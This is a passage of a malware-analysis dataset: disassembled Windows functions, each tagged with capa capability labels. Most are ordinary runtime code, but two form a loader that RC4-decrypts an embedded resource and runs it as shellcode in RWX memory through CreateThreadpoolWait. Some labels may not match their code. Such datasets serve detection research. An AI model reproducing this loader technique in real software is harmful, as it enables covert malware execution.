joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002680
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400026a4
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400026e7
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x1400026e7
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x140002818
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000272a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002755
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.ucrtbased.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14000281d
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400027ca
sub eax, 1
je 0x1400027ca
cmp eax, 2
jne 0x140002818
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.ucrtbased.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14000281d
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x1400027fb
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp rsi, rax
jne 0x140002818
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14000281d
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140002ea0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002f69
cmp byte [rcx + 0x71], 0
je 0x140002f69
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002f5c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002f18
sub eax, 1
je 0x140002f1c
cmp eax, 2
jne 0x140002f5c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140002f4a
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp rdi, rax
jne 0x140002f5c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005840]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005850]
mov dword [rax], 1
mov rax, qword [0x140005860]
mov dword [rax], 1
mov rax, qword [0x1400057f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005830]
mov dword [0x14000900c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140005900]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400058e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400057a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001820
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001890
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140009104]
mov rbx, rcx
test esi, esi
jle 0x1400019c0
mov rax, qword [0x140009108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001965
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018c0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400019e2
mov rax, qword [0x140009108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140009108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000195e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001970
add dword [0x140009104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140009108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000195e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400018e8
mov rax, qword [0x140009108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140009140]
test rbx, rbx
je 0x140001fac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001fa3
test rsi, rsi
je 0x140001fa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400021c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400021d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400021e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400021f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000223d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002234
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000223f
add rax, 0x28
cmp rax, r9
jne 0x140002220
xor eax, eax
ret

Function at 0x140002240
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400022d0
mov rdx, qword [0x1400057f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400022be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400022be
cmp word [rax + 0x18], 0x20b
jne 0x1400022be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400022d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400022a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400022d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400022a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400022e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400057f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002300
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002308
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002300
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000235d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002354
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002300
add rax, 0x28
cmp rax, r9
jne 0x140002340
xor eax, eax
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002388
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000237f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400023a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400057f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400023c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400023c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400023c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002410
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002407
test rcx, rcx
je 0x1400023c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400023f8
xor eax, eax
ret
Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000243f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002448
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002460
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400057f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002480
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002488
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002480
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002480
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400024d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400024e0
add rdx, 0x28
cmp r9, rdx
jne 0x1400024c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400024f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400057f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002512
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002520
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002512
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002512
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002512
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002575
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002588
add rdx, 0x28
cmp rdx, r10
jne 0x140002560
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002597
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400025a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000257e
test ecx, ecx
jg 0x140002590
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001000
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor ecx, ecx
mov rsi, rdx
mov edx, 0x12c
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x140001244
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
je 0x140001244
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001244
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001244
movups xmm0, xmmword [rax]
mov qword [rsp + 0x2e0], rbp
movups xmm1, xmmword [rax + 0x10]
mov qword [rsp + 0x2f0], r14
movaps xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x80], xmm0
movsd xmm0, qword [rax + 0x80]
lea eax, [rdi - 0x88]
mov ecx, eax
movaps xmmword [rsp + 0x90], xmm1
movsd qword [rsp + 0xa0], xmm0
mov dword [rsi], eax
call fcn.140001350
mov r8d, dword [rsi]
lea rdx, [rbx + 0x88]
mov rcx, rax
mov r14, rax
call fcn.140003570
mov ebp, dword [rsi]
lea rcx, [rsp + 0x1b0]
mov esi, 0x100
xor edi, edi
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140002550
mov r8d, esi
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140002550
mov edx, edi
nop
mov ecx, edx
mov eax, edx
and eax, 0x7f
mov byte [rsp + rcx + 0xb0], dl
inc edx
movzx eax, byte [rsp + rax + 0x28]
mov byte [rsp + rcx + 0x1b0], al
cmp edx, esi
jl 0x140001140
mov rdx, rdi
movzx eax, byte [rsp + rdx + 0x1b0]
movzx r8d, byte [rsp + rdx + 0xb0]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x14000118b
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0xb0]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0xb0], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x140001163
mov edx, edi
test ebp, ebp
je 0x14000122f
mov r10, r14
mov r11, rbp
nop dword [rax + rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x1400011d3
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0xb0]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x1400011f8
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0xb0]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx eax, byte [r8 + rdi]
add eax, r9d
movzx eax, al
movzx ecx, byte [rsp + rax + 0xb0]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x1400011c0
mov rbp, qword [rsp + 0x2e0]
mov rax, r14
mov r14, qword [rsp + 0x2f0]
jmp 0x140001246
xor eax, eax
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.140001330
add rsp, 0x2c0
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001270
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait

Disassembly:
push rsi
sub rsp, 0x30
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0
call section..text
mov rsi, rax
test rax, rax
je 0x14000130e
mov qword [rsp + 0x40], rbx
mov r9d, 0x40
mov ebx, dword [rsp + 0x20]
mov r8d, 0x3000
mov edx, ebx
mov qword [rsp + 0x48], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.140003570
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rsi
ret

Function at 0x140001c84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cce
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cd0
xor al, al
add rsp, 0x28
ret

Function at 0x140005e84
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005c74
Function at 0x140008904
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000898b
mov rsi, rbx
cmp word [rax], bp
je 0x14000894a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140008934
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140008930
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400092fc
mov rdi, rax
test rax, rax
je 0x140008978
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003570
mov rbp, rdi
xor ecx, ecx
call fcn.14000762c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180009000
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180009030
xor eax, eax
jmp 0x1800090f3
mov rbp, rbx
cmp word [rax], si
je 0x180009055
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000903c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180009038
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180008f50
movsxd r14, eax
test eax, eax
jne 0x180009093
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180009029
mov rcx, r14
call fcn.18000a298
mov rdi, rax
test rax, rax
jne 0x1800090ac
xor ecx, ecx
call fcn.180007654
jmp 0x180009088
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180008f50
test eax, eax
jne 0x1800090dd
mov rcx, rdi
call fcn.180007654
jmp 0x1800090e7
xor ecx, ecx
call fcn.180007654
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000e6e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000e708
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000e708
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140014bc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
sub rsp, 0x20
mov eax, 1
mov qword [rsp + 0x38], rsi
mov r11, rcx
mov rdi, rdx
movzx ecx, byte [rdx + 0xb]
shl eax, cl
cmp byte [rdx + 0xa], 0
cdqe
lea r8, [rax + rax*2]
mov rax, qword [rdx + 0x18]
lea rsi, [rax + r8*8]
jge 0x140014c20
mov ecx, dword [rdx + 0xc]
lea eax, [rcx - 1]
test ecx, eax
je 0x140014c20
mov eax, ecx
shr eax, 1
or ecx, eax
mov eax, ecx
shr eax, 2
or ecx, eax
mov eax, ecx
shr eax, 4
or ecx, eax
mov eax, ecx
shr eax, 8
or ecx, eax
mov eax, ecx
shr eax, 0x10
or eax, ecx
inc eax
jmp 0x140014c23
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x140014c5e
mov qword [rsp + 0x30], rbx
xor r10d, r10d
mov ebx, eax
mov rax, qword [rdi + 0x10]
test byte [r10 + rax + 8], 0x40
je 0x140014c4f
mov rdx, qword [r10 + rax]
test byte [rdx + 9], 0x18
je 0x140014c4f
mov rcx, r11
call fcn.1400147e0
add r10, 0x10
sub rbx, 1
jne 0x140014c31
mov rbx, qword [rsp + 0x30]
mov r10, qword [rdi + 0x18]
cmp r10, rsi
jae 0x140014cc0
nop word [rax + rax]
movzx eax, byte [r10 + 9]
and al, 0x40
test byte [r10 + 8], 0xf
jne 0x140014c89
test al, al
je 0x140014cb7
mov byte [r10 + 9], listen
jmp 0x140014cb7
test al, al
je 0x140014c9f
mov rdx, qword [r10 + 0x10]
test byte [rdx + 9], 0x18
je 0x140014c9f
mov rcx, r11
call fcn.1400147e0
test byte [r10 + 8], 0x40
je 0x140014cb7
mov rdx, qword [r10]
test byte [rdx + 9], 0x18
je 0x140014cb7
mov rcx, r11
call fcn.1400147e0
add r10, 0x18
cmp r10, rsi
jb 0x140014c70
movzx eax, byte [rdi + 9]
mov rsi, qword [rsp + 0x38]
movzx ecx, al
and cl, 7
cmp cl, 5
jne 0x140014cf7
mov rcx, rdi
call fcn.140014750
mov rcx, qword [r11 + 0x90]
mov qword [rax], rcx
mov qword [r11 + 0x90], rdi
and byte [rdi + 9], 0xc7
add rsp, 0x20
pop rdi
ret
cmp cl, 6
jne 0x140014d01
xor al, 2
mov byte [rdi + 9], al
add rsp, 0x20
pop rdi
ret